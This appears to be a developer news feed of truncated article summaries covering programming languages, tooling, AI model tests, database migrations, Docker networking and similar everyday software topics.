    What is StackCells? StackCells is an esoteric language where memory is represented as a grid of individual stacks rather than a single linear memory tape or one global stack. Each cell contains its own independent stack of values, and execution moves between cells while manipulating the local stack contents. The model is inspired by grid-based execution languages like Befunge but combined with stack-based semantics similar to Forth or False. Instead of thinking in lines of code, the programmer must think spatially about how data flows between stacked memory regions. Language Type: Esoteric / grid + stack machine Era: Experimental language wave (approx. 2016–2020) Execution Model: Cursor moves through grid, operating on cell-local stacks Paradigm: Stack-based, spatial execution, proced…  ( 7 min )
    📌 TuringTiles — A Language Built from Tile-Based State Transitions
    What is TuringTiles? TuringTiles is an esoteric programming language inspired by Turing machine theory, but instead of a single tape and head, programs are represented as grids of tiles. Each tile encodes a rule: when the execution cursor enters from one side, it performs an operation and exits through another side. The program's logic emerges from how these tiles connect, creating a visual, modular, and puzzle-like execution pattern. It behaves somewhere between a cellular automaton, a flow puzzle, and a visual Turing machine. Language Type: Esoteric / visual rule-based language Era: 2014–2019 indie experimentation period Execution Model: Cursor-driven tile map traversal Paradigm: State transition + spatial programming Typing: None — tile symbols control execution A simplified tex…  ( 7 min )
    Gemini 3 Is Everywhere — So I Finally Tested It as a Developer (And Here’s What Happened)
    If you’re active in the developer community, you’ve probably noticed one thing over the last week — Gemini 3 is literally everywhere. X (Twitter), Reddit, Discord, YouTube… the hype has been insane. Everyone keeps saying “Google finally did it… this model is massive.” As a developer, I’m always curious when a new AI model gets this kind of attention. So of course, I had to test it myself. Not by asking philosophical questions or doing poetry — but by using it for something real, something practical: 👉 Can Gemini 3 build a usable developer-friendly website from a single prompt? So I opened Google AI Studio, typed a simple request, and the results honestly shocked me. My first test prompt was extremely basic: “Make a doctor appointment landing page website.” Just one line. No extra stylin…  ( 8 min )
    How Do I Return the Response from an Asynchronous Call?
    Async calls (e.g., fetch()) return Promises, not immediate values. Direct return yields undefined. Focus: JavaScript (adapt for other langs). function fetchData() { let result; fetch('https://api.example.com/data') .then(data => { result = data; }); return result; // undefined } function fetchData() { return fetch('https://api.example.com/data') .then(response => response.json()) .catch(error => { throw error; }); } // Usage fetchData().then(data => console.log(data)); Pros: Non-blocking. Cons: Nesting issues. async function fetchData() { const response = await fetch('https://api.example.com/data'); return await response.json(); } // Usage const data = await fetchData(); console.log(data); Pros: Readable, try/catch errors. Cons: Requires async callers. function fetchData(callback) { fetch('https://api.example.com/data') .then(data => callback(null, data)) .catch(err => callback(err, null)); } // Usage fetchData((err, data) => { if (!err) console.log(data); }); Pros: Simple. Cons: Control inversion. Errors: Always .catch() or try/catch. Parallel: Promise.all([async1(), async2()]). Timeouts: Use AbortController. Testing: Mock fetch in Jest. Node: node-fetch for < v18. const fetch = require('node-fetch'); async function getPosts(userId) { const res = await fetch(`https://jsonplaceholder.typicode.com/posts?userId=${userId}`); return await res.json(); } const posts = await getPosts(1); // Returns array Use async/await for clean returns. Reduces bugs in 90% of cases.  ( 6 min )
    Memory-Safety-Ultimate-Guardian
    GitHub Home A hacker exploited this vulnerability, bypassed authentication, and stole the entire user table data. By the time we discovered it, it was too late. For the next few months, our entire team lived in nightmares: cooperating with investigations, appeasing clients, fixing vulnerabilities, checking all company projects for similar risks... The company's reputation and business suffered heavy damage. That incident taught me the most profound lesson: in the world of web development, security always comes first. Many developers, especially when project deadlines are tight, view "security" as a "feature module." They say: "Let's implement the main functionality first, and we'll 'add' security features in the next iteration." This is a fatal misunderstanding. Security is not a coat of p…  ( 9 min )
    What is a NullPointerException, and How Do I Fix It?
    NullPointerException (NPE) is a Java runtime exception thrown when code accesses a null reference (e.g., calling a method on null). Trigger: Attempting to use a null object reference (e.g., null.length()). Type: Unchecked exception; occurs at runtime, not compile time. Example: String name = null; System.out.println(name.length()); // Throws NPE Stack Trace: Points to the line; trace upward for root cause. Uninitialized References: Variables default to null if not set. User user = getUser(id); // Returns null if not found user.getName(); // NPE Null Parameters: Methods receive unexpected null inputs. Collection Access: Null lists/maps or missing keys. Map map = new HashMap(); map.get("key").toString(); // NPE if key absent Method Chains: On…  ( 7 min )
    Clean and maintainable Git Histories – Part 2
    3 simple tricks for managing git histories It took me a while to learn these simple tricks for effectively managing Git histories with just a few commands. In the first article, I explained why clear, structured Git commit messages and cohesiv commits are important or why temporary commits make the history more difficult to read. This time, I will show you how to organise your commits before merging them. This will give you a clean, easy-to-understand commit history. Changes should be reviewed and consolidated into a clear commit history. The aim is to include only changes that are relevant, just like book authors revise drafts before publishing. Consider cleaning up commit history for clarity and maintainability: Add changes directly to the previous commit git commit --amend Consolidate…  ( 9 min )
    Xray Test Management for Jira: To What Extent Can AgileTest Be An Affordable Alternative?
    Xray Test Management for Jira is a widely used tool for test planning, execution, and reporting, offering a comprehensive set of features to manage testing workflows directly within Jira. It’s designed for teams that need full capabilities and extensive integration with Jira, making it a popular choice for larger organizations. AgileTest by DevSamurai is also an effective test management solution that integrates with Jira. In this article, we will go through some key features in which AgileTest can be an affordable substitute for Xray Test Management for Jira.   1. Test Management Both Xray and AgileTest support you and your team to create, manage, execute test cases, and track test results. Let’s discover how each app works. Create and organize test cases AgileTest In AgileTest, there is …  ( 10 min )
    Ringer Movies: The Robert Redford Hall of Fame
    The Robert Redford Hall of Fame Sean Fennessey and Amanda Dobbins invite actor-playwright Tracy Letts to celebrate Robert Redford’s illustrious career. Together they riff on his standout roles, share personal anecdotes about the star’s impact, and literally build their own Redford Hall of Fame. From Sundance Kid stardom to directorial triumphs like Ordinary People, this lively chat maps Redford’s biggest milestones and enduring appeal. If you’re streaming on Prime or just love classic Hollywood legends, it’s a fun, affectionate deep dive into one of cinema’s all-time greats. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Summary Cinema Sins takes on Fantastic Four in a rapid-fire “Everything Wrong With…” video, clocking in at under 20 minutes and delivering their usual blend of snarky quips and pointed “sins.” They even joke that the film is just as “sintastic” as any other Marvel outing. Alongside the video, they plug BetterHelp therapy discounts, showcase their website and YouTube channels (@TVSins, @CommercialSins, @CinemaSinsPodcastNetwork), and invite fans to fill out a poll, support them on Patreon, and follow the writers and social-media handles listed. Watch on YouTube  ( 6 min )
    Downloads Stalling? Not Anymore. Developing Retry Maniac for Chrome
    I'm a Python developer who takes pride in writing code that's more readable and less ambiguous or failure prone. Therefore, it was a never-before seen adventure for me, a journey of treading unknown terrains of JavaScript to get this extension working. Now, as for the motive that lead to this moment, I was downloading some large files from sites online as a part of my research, and I was disappointed to see that the native download manager wouldn't handle downloads for my use case right. I mean, due to server download speeds, my network's speeds, or whatever else, some of my downloads would stall, and I'd have to manually be there to resume them so they wouldn't give up on me. So, my eyes on the screen most of the time, or they would just fail, and some that wouldn't resume due to the link…  ( 10 min )
    PART 5 — The Rise of Network SQL (N-SQL)
    SECTION 1 — The Past: The Origin Story of SQL Before we talk about a new query language for networks, we have to pay respect to the old one — the one that defined how the entire digital world thinks about data. Because SQL wasn’t just a technology. And to understand why N-SQL exists, we have to rewind to the beginning. 1.1 — Why SQL Was Born The early 1970s were chaos in data land. Every company wrote its own custom data access systems: hierarchical stores pointer-based network models vendor-specific query languages bespoke storage formats This meant: no uniform way to access data no shared mental model no predictable structure and every enterprise was basically reinventing the wheel Then Edgar F. Codd walked in with a banger of a paper: Codd’s idea was wild for the time: treat data as uno…  ( 28 min )
    From stealth to spotlight: How Dimension launched on Product Hunt
    Dimension is a proactive AI assistant for engineering teams that removes context-switching. It launched on Product Hunt this month, for the first time after months in stealth mode, got featured, ranked #2 Product of the Day, and #3 Developer Tool of the Week. Here's what they did right and how to apply it to your launch. Rode the tailwinds. Their founder introduced Dimension on X the previous day. It gained traction with 3.5+ millions impressions and the team rode those tailwinds on Product Hunt. Crafted the visual assets. The image gallery is the first impression of your product. It sets expectations. High-quality assets == high-quality product. Pro tip: The image gallery tells your story, visually. It starts with an intro, i.e. the OG image. IMHO It should finish with an end, i.e. your call-to-action. Take Dimension for example. Kept momentum going. Last but not least, the team kept the momentum going post-launch by running a billboard ad campaign to stay top of mind. How to apply this to your launch The right time to launch could be now Show the product in your image gallery Keep the momentum going by engaging in threads and running ads Over to you! What are your key learnings from your previous launches? What worked, what didn't work from your perspective?  ( 6 min )
    Stop Memorizing Patterns, Start Writing Tests: A Pragmatic Guide to Better Code
    Writing good code is hard. The industry's response has been to create an ever-growing catalog of design patterns, principles, and architectural guidelines. While these have their place, there's a simpler practice that yields better results: writing tests. Let's start with something simple. You need to build a function that calculates the total price of items in a shopping cart, including tax. That's it. A straightforward requirement. Let's see how this can go wrong when we think in patterns first, and how tests lead us to better design. The first instinct is often to create a class. class ShoppingCart { private items: CartItem[] = []; addItem(item: CartItem): void { this.items.push(item); } getItems(): CartItem[] { return this.items; } } The thought process: "A cart ha…  ( 13 min )
    Did you knew this??
    Temporal Dead Zone in JavaScript Arma Sahar ・ Nov 28 #javascript #beginners #tutorial #node  ( 6 min )
    Console.log(Paper): Mengapa Developer & Startup Masih Butuh 'Physical Stack' di Era Digital
    Sebagai developer, kita menghabiskan 90% waktu hidup kita di dalam terminal, IDE, dan browser. Kita membangun produk yang hidup di cloud dan diakses lewat layar. Rasanya, dunia fisik (kertas, tinta, cetakan) itu teknologi kuno, legacy code dari masa lalu. Tapi, coba lihat bagian belakang laptop rekan kerja Anda di coworking space atau konferensi tech. Penuh stiker, kan? Logo Golang, Docker, GitHub, atau stiker startup tempat mereka bekerja. Di sinilah ironinya: Di dunia yang paling digital sekalipun, validasi sosial dan branding kita sangat bergantung pada objek fisik. Artikel ini bukan tentang kembali ke zaman batu, tapi tentang melengkapi Tech Stack Anda dengan Physical Stack. Mengapa? Karena networking terjadi di dunia nyata, dan impresi pertama seringkali terjadi secara offline. Bagi d…  ( 8 min )
    Training LLMs on Mixed GPUs: My Experiments and What I Learnt
    In the last few months, I have been very interested in large language models. At the same time, the GPU world is also changing. Nvidia is still the market leader, but AMD, Intel, and even Chinese companies are making cheaper GPUs. The main challenge is that CUDA is still the dominant software stack, and Nvidia drivers are not open source. Because of this, using non‑Nvidia GPUs is still not smooth. As someone who runs a homelab, I wanted a setup where I can use different GPUs together. But even mixing two Nvidia GPUs of different generations is hard. If you upgrade from RTX 3090 to RTX 5090, you may need a different CUDA version, a different Python version, and a different PyTorch version. New architectures like Blackwell also take time to enter mainstream frameworks. So many people end up …  ( 16 min )
    Stop Waiting for the Cloud: Building a Hybrid SQL+Python Data Pipeline Locally with DuckDB
    Cloud data warehouses are amazing for production. They are terrible for development. If you’re a Data Engineer, you know the pain of the “cloud feedback loop”: You write a complex SQL query. You hit “Run” in your orchestrator. You wait 45 seconds for the warehouse to spin up or queue your job. It fails because of a syntax error. You fix it. You pay for the query slot. You wait again. This latency kills flow. In software engineering, we run code locally on our laptops before shipping to production. Why can’t we do the same for data pipelines? I built FastFlowTransform (FFT) to solve this. It’s a framework that lets you build and test your pipeline locally using DuckDB (for speed and free compute), and then deploy the same project to Snowflake, BigQuery, or Databricks for production. In this…  ( 9 min )
    Building IPO Investment Tools: Lessons from Creating GainIPO
    As a developer building financial tools, creating GainIPO taught me valuable lessons about user needs, real-time data handling, and building trust in the fintech space. IPO investors in India lacked a centralized platform for: Real-time Grey Market Premium (GMP) tracking Live subscription status updates Allotment predictions DRHP analysis and expert insights For a financial data platform, these were critical: Backend: Fast API responses for real-time data Reliable data scraping and validation Database optimization for quick queries Frontend: Clean, mobile-first design (most users are on mobile) Fast loading times (< 2 seconds) Easy navigation for non-technical users Data Integrity: Multiple source validation Automated error detection Manual verification for critical updates Users need data…  ( 7 min )
    Learn about Production Ready TAILWIND CSS Setup in REACT NATIVE !
    Learn about Production Ready TAILWIND CSS Setup in REACT NATIVE ! First you need to setup your react native project , create the new React Native Project Using Expo npx create-expo-app@latest my-awesome-app cd my-awesome-app Reset your project npm run reset-project Install these all package for install Nativewind npm install nativewind react-native-reanimated@~3.17.4 react-native-safe-area-context@5.4.0 npm install --dev tailwindcss@^3.4.17 prettier-plugin- Step 4 Setup the Tailwind CSS in project Run npx tailwindcss init to create a tailwind.config.js file @type {import('tailwindcss').Config} / /.{js,jsx,ts,tsx}"], Add the globals.css file on app folder @tailwind base; Step 6 Last Step npx expo customize metro.config.js Copy this and replace it const config = getDefaultConfig(__dirname) module.exports = withNativeWind(config, { input: './global.css' })` /** @type {import('tailwindcss').Config} */ This Thing help you to play with tailwind Production level ` `  ( 6 min )
    User-defined networks
    You can create custom, user-defined networks, and connect multiple containers to the same network. Once connected to a user-defined network, containers can communicate with each other using container IP addresses or container names. The following example creates a network using the bridge network driver: $ docker network create -d bridge my-net Running a container in the created network: $ docker run --network=my-net -itd --name=container3 busybox 👉 Container networks In addition to user-defined networks, you can attach a container to another container’s networking stack directly, using the --network container: flag format. The following flags aren’t supported for containers using the container: networking mode: --add-host --hostname --dns --dns-search --dns-option --mac-addres…  ( 8 min )
    Qeltrix V5: The Folder Archiver Revolution with Virtual File System
    From Single Files to Complete Directory Trees—A Fundamental Evolution Posted by Muhammed Shafin P (HejHdiss) | Qeltrix Project Lead I'm thrilled to announce Qeltrix V5, the most significant architectural evolution in the Qeltrix ecosystem. This release fundamentally transforms Qeltrix from a single-file encryption tool into a full-featured folder archiver with Virtual File System (VFS) capabilities, optional asymmetric metadata encryption, and surgical seek operations. V5 represents a paradigm shift: instead of encrypting one file at a time, you can now package entire directory structures into a single encrypted container—then access individual files within that container without decrypting everything. Folder Archiving with Virtual File System V5 introduces a complete VFS implementation …  ( 11 min )
    I Built a Free Random Data Generator — No Signup, 100% Client-Side
    https://engtoolshub.com/tools/random-data-generator Every developer needs mock data. Whether you're testing a form, seeding a database, or demoing a feature — you need realistic fake data, fast. Names, emails, usernames Why it's different: 🔗 Try it: https://engtoolshub.com/tools/random-data-generator Part of EngToolsHub — 47+ free browser-based developer tools. What data types would you like to see added? Drop a comment! 👇  ( 6 min )
    Automating Database Migrations with CI/CD
    Automated migrations bring your database into the same repeatable, auditable, and safe process your application code already enjoys. In this guide, you’ll learn how to integrate FluentMigrator cleanly into your Azure CI/CD pipeline. Automate database migrations so they run automatically in your deployment pipeline. When you deploy: Infrastructure creates/updates Azure SQL Database Migrations run automatically API deploys (only if migrations succeed) Zero manual steps. Zero forgotten migrations. Zero production surprises. Here's how it works conceptually: ┌─────────────────────────────────────────────────────────────┐ │ Infrastructure Pipeline (sql-infra.yml) │ │ • Runs independently when infrastructure changes │ │ • Deploys: Azure SQL Server + Database (Bice…  ( 8 min )
    Exploring deboa-macros: Ergonomic HTTP Client Macros for Rust
    What is deboa-macros? deboa-macros is a procedural-macro crate for Rust that builds on top of the core HTTP client deboa. Its goal is to simplify common HTTP request patterns using expressive macros---turning verbose boilerplate into concise, type-safe code. Where deboa provides low-level HTTP capabilities (HTTP/1 + HTTP/2, async runtimes like Tokio or Smol, etc.), deboa-macros layers ergonomic syntax on top so you can focus on logic instead of deboa-macros Rust's procedural macros allow developers to run code at compile time to generate boilerplate, enforce patterns, and create domain-specific syntax. For HTTP requests, much of the code is repetitive: building the request serializing bodies deserializing responses handling errors deboa-macros addresses these pain points with: …  ( 7 min )
    Building an AI-Powered App Entirely in Go: From Simple Prompt to Smart Pipeline
    The Challenge I've shipped AI features in many stacks, but over a weekend, I wanted to answer one question: "Can I build a complete, production-quality AI app using only Go?" Not just a proof of concept. A real application with: Structured AI flows Content moderation Smart interpretation Reactive UI Type safety end-to-end The result? An AI Welcome Note Generator that evolved from a 10-line prompt to a multi-stage pipeline with safety filters and natural language understanding—all without leaving Go. This article walks through how everything fits together — from the simplest flow to a smart, multi-stage LLM pipeline. Welcome Note Generator Demo Watch the application in action: from simple prompts to smart, moderated AI flows Backend: Genkit — AI flow orchestration (the star of the show) G…  ( 11 min )
    Getting Started with Database Migrations using FluentMigrator
    Why Your Database Schema Deserves Version Control Your code is tracked, reviewed, and tested. If you’ve ever found yourself unsure whether a schema change was applied consistently across environments, this guide will help. Your application code lives in Git, but your database schema lives... where exactly? When you: Add a new column Create a new table Modify an index How do you ensure every developer and every environment has the same schema? The old way: Scattered SQL scripts, manual execution, fingers crossed. The better way: Migrations as code—version-controlled, repeatable, and reviewable. Think of migrations as "Git commits for your database schema." Each migration is a numbered file that describes a single change: Migration 001: Create Users table Migration 002: Create Products tab…  ( 10 min )
    From Just a Scanner to a Smart Agent: How I Improved my SEO Prospecting Tool 🐍
    I recently built a prospecting agent with Python to find local businesses on Google’s lower-ranked pages and pitch them SEO services. The initial version was... promising but flawed. It tried to pitch Indeed.com because they didn't have a local phone number. It told Ford Dealerships their site was "down" because their firewall blocked my bot. It sent robotic emails starting with "Fail: H1 Missing" ... not exactly a charming opener. I realized that to make this tool useful, I needed to move from a simple scraper to a true agent. Here is the breakdown of how I refactored the code to filter noise, crawl for contacts, and use GenAI to write personalized campaigns. The first problem with scraping generic keywords is that half the results aren't businesses, they are directories, job boards, and …  ( 10 min )
    Trust the Server, Not the LLM: A Deterministic Approach to LLM Accuracy
    🚫 Zero Mental Math: An Anti-Hallucination Architecture for LLM-Driven Analysis A six-layer system for achieving 100% accurate numerical reporting from Large Language Models I built an MCP server that extracts data from my MT5 terminals on a VPS. Basically its a load of financial data reports, like trades, averages, technical indicators etc. I built it all out and I realized that my LLM would randomly hallucinate random things, for example it would say there was a 16th trade when there only had been 15 trades for that day. When it comes to financial reporting I realize there is probaly a lot on this topic, so I grabbed some ideas from a lot of the latest research on RAG topics, and i threw something together. I wrote tests that actually test the accuracy of the results of my embeddings …  ( 16 min )
    ⭐ Two Free AI Tools You Should Try: A Surprisingly Good Image Generator & Text-to-Speech Tool
    We’re living in a time where almost every “free” AI tool hides something behind a paywall — limited credits, forced registration, watermarks, or downgraded quality unless you upgrade. So when I came across two AI tools that are actually free, require zero sign-up, and deliver genuinely high-quality results, I was honestly surprised. They feel like hidden gems, so I’m sharing them here for anyone who loves AI tools, productivity resources, or creative experiments. 🎨 1. Free AI Image Generator (High Quality + No Account Needed) 🔗 https://productivitygears.com/free-ai-image-generator-tool If you’ve ever used online image generators, you know how frustrating it gets: credits, blurry previews, logins, watermarks — the usual story. Press enter or click to view image in full size What Makes It Stand Out 🔊 2. Free AI Text-to-Speech Tool (Natural Voices, Instant MP3) https://productivitygears.com/free-ai-text-to-speech Become a member Press enter or click to view image in full size This one doesn’t. Why It’s Worth Bookmarking ⭐ Final Thoughts If you enjoy playing around with AI, create content, or just love exploring useful online tools, these two are absolutely worth checking out and adding to your bookmarks. If you try them, I’m curious which one you end up using more.  ( 7 min )
    Workload And Agentic Identity at Scale: Insights From CyberArk's Workload Identity Day Zero
    What do the terms identity, AI, workload, access, SPIFFE, and secrets all have in common? These were the most common words used at CyberArk's Workload Identity Day Zero in Atlanta ahead of KubeCon 2025.  Across an evening full of talks and hallway conversations, the conversation kept coming back to the fact that we have built our infrastructures, tools, and standards around humans, then quietly handed the keys to a fast-multiplying universe of non-human identities (NHIs). However, the evening didn't dwell on what we have gotten wrong, but instead on what we are getting right as we look towards a brighter future of workload identity.  Every speaker discussed what has happened so far and how we have reached the state in which so many companies find themselves. These workload identities, in t…  ( 10 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins takes on the wild ride that is KPop Demon Hunters, throwing their signature “sins” over the movie in under 16 minutes of sharp, tongue-in-cheek critiques. They invite fans to dive deeper into the CinemaSins universe—follow their YouTube channels, social feeds, and even fill out a “sinful” poll or support the team on Patreon. The video description also lists the crew behind the sins (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) with links to their social profiles, plus community hangouts on Discord and Reddit, and more goodies like Jeremy’s book and TikTok highlights. Watch on YouTube  ( 6 min )
    Pure-Go Race Detector - Race Detection Without CGO
    Hi! Go's built-in race detector requires CGO. This means: No race detection in Docker scratch images Cross-compilation becomes complicated Cloud functions and embedded systems are out of luck A pure-Go implementation of race detection using the FastTrack algorithm. Works with CGO_ENABLED=0. 99% overhead reduction - from ~10,000x down to ~100x slowdown. Key improvements: Adaptive Sampling - configurable 1-100% sample rate for production use Sparse VectorClocks - O(active goroutines) instead of O(total) Address Compression - 8x memory reduction 4 Inline Slots - zero allocations for common cases go install github.com/kolkov/racedetector/cmd/racedetector@v0.3.0 # Build with race detection racedetector build -o myapp main.go # Run with race detection racedetector run main.go # Production with 10% sampling RACEDETECTOR_SAMPLE_RATE=10 racedetector run main.go GitHub: https://github.com/kolkov/racedetector Discussions: https://github.com/kolkov/racedetector/discussions Issues: https://github.com/kolkov/racedetector/issues Looking for Feedback I'd appreciate if you could try it on your projects and report any bugs or false positives. Contributions are welcome. Also curious: should something like this be proposed for Go toolchain integration, or is it better as a standalone tool? Thanks!  ( 6 min )
    C++ - instalación y configuración en Ubuntu
    Recomiendo ver antes - instalacion de Homebrew y asdf en ubuntu ( es corto son 5 comandos) C++ - Referencia en CPPReference C++ - En DevDocs.io ⚠️ En C++ no existen “frameworks web” estándar como en Python, pero sí hay bibliotecas ampliamente usadas. Sin Framework (sockets POSIX) — Minimalista, simple, nativo. Crow — Inspirado en Flask, muy fácil de usar. Boost.Beast — Rápido y moderno para HTTP/WebSocket. CppRestSDK — Completo, estilo Django/Express. C++ ya viene instalado, pero debes asegurarte de tener g++: sudo apt update sudo apt install g++ build-essential brew install gcc C++ no tiene un gestor oficial como pip o npm, pero los más usados son: apt (en Ubuntu) vcpkg conan Ver versión del compilador: g++ --version Instalar una librería JSON (ejemplo): sudo apt install nlohmann-json3…  ( 10 min )
    Profile Card 2025: simple, responsive profile cards built with HTML, CSS & JS
    I built a lightweight profile card pattern that focuses on clarity, flexible layout, and a single social icon. It’s intended for portfolios, team pages, and small UI components where you want a clean, accessible card without a heavy framework. Created with HTML, CSS and JS and easy to edit or extend. Preview and edit the example in the CodLico HTML Editor: https://codlico.com/tools/html-editor-online/ HTML: CSS: :root { JS: document.addEventListener("DOMContentLoaded", () => {  ( 7 min )
    Nomor WA Tokopedia
    sekarang Tokopedia sudah punya akun WhatsApp resmi! Nomor WhatsApp Resmi tokopedia adalah: +62 813-7416-7006 yang terpercaya  ( 5 min )
    OSINT: Maskelenmiş Verilerin Sızıntı Analizi ile Deşifresi
    Hesaplarınızın giriş ekranında veya “Şifremi Unuttum” adımında gördüğünüz o tanıdık görüntüyü bilirsiniz: “Güvenlik kodunu şu numaraya gönderiyoruz: +44 7** *** ** 23” veya “Kod gönderildi: l*.design@*.com” Pek çok kullanıcı bu maskelenmiş formatı güvenli bir koruma sanır ancak bu, modern internet çağının en büyük yanılgılarından biridir. Saldırganlar eksik rakamları sırayla deneyerek bulmaz. Onlar OSINT ve veri korelasyonu teknikleriyle dijital izlerinizi birleştirir. Bu yazıda Londra’da yaşayan kurgusal karakterimiz Liam üzerinden maskelenmiş verilerin nasıl çözümlendiğini inceleyeceğiz. “Hacker eksik rakamı 00’dan 99’a kadar dener” düşüncesi artık gerçek dışıdır. Bunun nedeni: Rate Limiting. Art arda gelen hatalı girişler bir süre sonra: 429 – Too Many Requests hatasına düşer ve siste…  ( 7 min )
    Amazon Q Custom Agents: The Complete Guide
    👋 Hey there, tech enthusiasts! I'm Sarvar, a Cloud Architect with a passion for transforming complex technological challenges into elegant solutions. With extensive experience spanning Cloud Operations (AWS & Azure), Data Operations, Analytics, DevOps, and Generative AI, I've had the privilege of architecting solutions for global enterprises that drive real business impact. Through this article series, I'm excited to share practical insights, best practices, and hands-on experiences from my journey in the tech world. Whether you're a seasoned professional or just starting out, I aim to break down complex concepts into digestible pieces that you can apply in your projects. Let's dive in and explore the fascinating world of cloud technology together! 🚀 Imagine Sarah, a DevOps engineer at …  ( 12 min )
    Running Node.js and Modern Web Development Tools on OpenWrt
    Prerequisites and Limitations This guide is specifically for x86 architecture only. On ARM devices, both pnpm and Node.js may fail due to libgcc_s.so.1 dependency issues. First, configure your build target for musl-based systems: ei config x86_64-unknown-linux-musl OpenWrt's minimal environment lacks the C++ standard library: opkg install libstdcpp OpenWrt ships with a basic sh shell, but Node.js and pnpm require bash's advanced syntax features. Download a static bash binary from robxu9/bash-static: ei robxu9/bash-static Replace the default shell symlinks: which bash ln -sf /root/.ei/bash /bin/sh ln -sf /root/.ei/bash /bin/bash Node.js requires approximately 200MB of storage. On space-constrained OpenWrt devices, install to /tmp: ei https://unofficial-builds.nodejs.org/download/release/v25.2.1/node-v25.2.1-linux-x64-musl.tar.xz -d /tmp node --version Note: Use the unofficial-builds repository for musl-compatible binaries. ei pnpm/pnpm pnpm --version For a lightweight Git implementation: ei GitoxideLabs/gitoxide gix --version Now you can use modern web development tools: # Create a new Vite project pnpm dlx create-vite # Navigate to your project cd react-ts # Start the development server (accessible from network) pnpm run dev --host The --host flag exposes the dev server to your local network, allowing you to access it from other devices.  ( 7 min )
    Catalyst::Request body issues with the file position pointer
    OK, so... For those using the Perl Catalyst web framework in ways involving structured request bodies (e.g. API POSTs)... $c->req->body is a string, unless Content-Type is application/x-www-form-urlencoded, text/xml, or multipart/form-data (or in fact application/json, which isn't in the docs), in which case it's a File::Temp (an overloaded file handle), and $c->req->body_data gets you the deserialised body. For various reasons, largely to do with the idiosyncrasies of one particular module, I need to read the raw body data from the $c->req->body file handle to process a Stripe webhook payload. For various other reasons, as part of the API call logging, I need to call $c->req->body_data to get at the deserialised body in another module. You may imagine my delight when adding the latter caused the former to fail. An afternoon of bad language and extra debug eventually revealed that $c->req->body_data doesn't clean up after itself, and I have to seek( $c->req->body, 0, 0) before I can read any data from the body file handle. If this is useful to anyone else, you have my sympathies.  ( 6 min )
    Why CutMix Works (Even When It Breaks the Image Apart)
    What is CutMix? CutMix, introduced in 2019, takes Cutout’s idea and dials it up: Instead of dropping pixels, it replaces them with content from a different image and mixes the labels accordingly. You cut a patch from image A, paste it onto image B, and assign the new image a label proportional to the visible region. Cutout removes. CutMix sits in the middle of that spectrum. Why does replacing a patch help? Because it attacks two problems at once: Localization bias Data inefficiency And unlike Mixup (which we'll get to), CutMix preserves crisp local structure, the pasted region is still an actual object patch, not an interpolation. Why isn’t this harmful? CutMix works because: The model learns that objects may appear in strange positions It reduces overfitting to backgrounds or canonical object placements It provides a natural form of regularization via mixed-label supervision It improves both robustness and calibration CutMix is also surprisingly stable, its patch operation doesn’t degrade image quality as much as one might expect. When does CutMix falter? CutMix can struggle when: Training data is already extremely diverse Spatial coherence is critical (e.g., segmentation tasks) Pasted regions occlude too much semantic content The patch sampling is too aggressive Still, for classification pipelines, CutMix is often a plug-and-play upgrade. CutMix is Cutout with context: Next: Mixup, the method that abandons spatial structure entirely and asks the model to learn through interpolation.  ( 7 min )
    Figma to React: How Kombai Finally Solved My Frontend Workflow
    As a frontend developer, much of my job is converting Figma designs into React code—a process that’s both meticulous and repetitive. Every pixel, color, font weight, spacing, and padding has to match the designer’s intent exactly. It can be satisfying when it comes together, but it’s also a huge time sink. Naturally, to save time and speed up my workflow, I’ve tried out various tools that promise to automate the conversion from Figma to React. But most of them ended up creating more cleanup work than they saved. Then I tried Kombai — and the difference was immediately clear. Unlike most generic code generators I’ve tried, Kombai is the only frontend-specific AI agent I can genuinely vouch for that actually understands frontend development and produces code I’d write myself, not code I need…  ( 20 min )
    Laravel 12 + shadcn/ui: Build Modern UIs with Ease in 2025
    In 2025, Laravel continues to evolve — and with version 12, it makes building modern, full-stack applications even easier by embracing frontend-first tooling. In this post we’ll explore what’s new in Laravel 12, how it works with shadcn/ui, and why combining them can give you a powerful, clean, and highly customizable developer experience.  ( 6 min )
    Building Trinity Shield™ Custom In House TEE for Multi-Chain Consensus Seeking Open Source Feedback
    How we're adding hardware security to a formally verified 2 of 3 consensus system across Arbitrum, Solana, and TON. 78 Lean proofs. Zero external dependencies. I've spent 3 years building Trinity Protocol a 2 of 3 multi-chain consensus system that distributes trust across Arbitrum, Solana, and TON. When a community member suggested adding Trusted Execution Environments (TEE), I researched the options: Oasis ROFL: $100-150/month, vendor lock-in Cloud TEE (Azure, GCP): $200-300/month, external dependency Phala Network: Third-party infrastructure None of these fit our philosophy. We've built everything in-house: 12 Arbitrum contracts, 3 Solana programs, 3 TON contracts, and 78 Lean 4 theorem statements. Why would we outsource our hardware security layer? So we're building Trinity Shield™ our…  ( 9 min )
    Lessons learned implementing SCIM with Microsoft Entra and the SCIM Validator
    I had to redo the entire SCIM validator journey after we've migrated to a new company. This article shares the practical lessons from that rework: tightening concurrency, adding hybrid caching, clarifying when /Schemas actually matters and structuring validation runs so progress is repeatable instead of guesswork. SCIM still promises automated provisioning from an IdP, but the path to a production-grade, Entra-compatible implementation is about disciplined iteration, not just “passing the tests.” Once integrated, lifecycle events (create, update, deactivate) flow from your IdP without manual admin work, improving security posture and reducing bespoke connector logic. Interoperability hinges on spec fidelity: consistent status codes, predictable resource representation, correct filtering, a…  ( 9 min )
    useState in React Hook
    updating the screen: import { useState } from 'react'; your component to “remember” some information and display it. function MyButton() { const [count, setCount] = useState(0); initial state of count is 0 if you change the state use setCount function MyButton() { const [count, setCount] = useState(0); function handleClick() { setCount(count + 1); } return ( Clicked {count} times ); } when you click the button the current state is updated using the setCount is increased. Hook: export default function MyApp() { const [count, setCount] = useState(0); function handleClick() { setCount(count + 1); } return ( Counters that update together ); } the button is clicked upadted the state count together.use the information pass down this is called props.  ( 6 min )
    Self-corrective Code Generation: A Basic Understanding and Real-life Application
    Self-corrective Code Generation is an advanced AI approach where code is not only generated but also continuously refined based on feedback and predefined rules. Unlike traditional methods, this process ensures that code meets essential standards for readability, efficiency, maintainability, and compliance with coding guidelines. This article will explore how AI-generated code can be incomplete without proper validation, the consequences of using untested code, and how self-corrective code generation solves these challenges. We will also discuss advanced techniques, like multi-step agents, to further enhance code quality, followed by practical examples of how this process works. 1. Sources of Incomplete Code There are two main sources of incomplete code originating from AI’s output.  Limit…  ( 12 min )
